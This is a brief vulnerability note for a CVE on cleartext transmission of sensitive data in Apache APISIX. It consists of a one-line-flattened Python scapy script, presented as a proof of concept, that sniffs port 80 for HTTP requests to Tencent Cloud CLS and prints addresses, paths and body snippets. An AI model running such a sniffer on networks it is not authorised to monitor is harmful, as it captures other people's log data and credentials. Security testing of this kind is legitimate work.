CVE-2026-31924 Apache APISIX敏感信息明文传输漏洞

# Proof of Concept (PoC) for detecting cleartext HTTP traffic to CLS # This script sniffs the network interface for unencrypted HTTP packets destined for Tencent Cloud CLS import scapy.all as scapy from scapy.layers.inet import IP, TCP from scapy.layers.http import HTTPRequest, HTTPResponse # Requires scapy-http TARGET_DOMAIN = "cls.tencentyun.com" def packet_callback(packet): if packet.haslayer(HTTPRequest): host = packet[HTTPRequest].Host.decode('utf-8') if packet[HTTPRequest].Host else "" if TARGET_DOMAIN in host: print(f"[!] Detected Cleartext HTTP Request to {TARGET_DOMAIN}") print(f" Source IP: {packet[IP].src}:{packet[TCP].sport}") print(f" Dest IP: {packet[IP].dst}:{packet[TCP].dport}") print(f" Path: {packet[HTTPRequest].Path.decode('utf-8')}") # Check if the request contains sensitive log data in the body (if any) if packet.haslayer(scapy.Raw): print(f" Data Snippet: {packet[scapy.Raw].load[:100]}...") print(f"[*] Starting sniffer for cleartext traffic to {TARGET_DOMAIN}...") # Usage: python3 poc.py scapy.sniff(store=False, prn=packet_callback, filter="tcp port 80")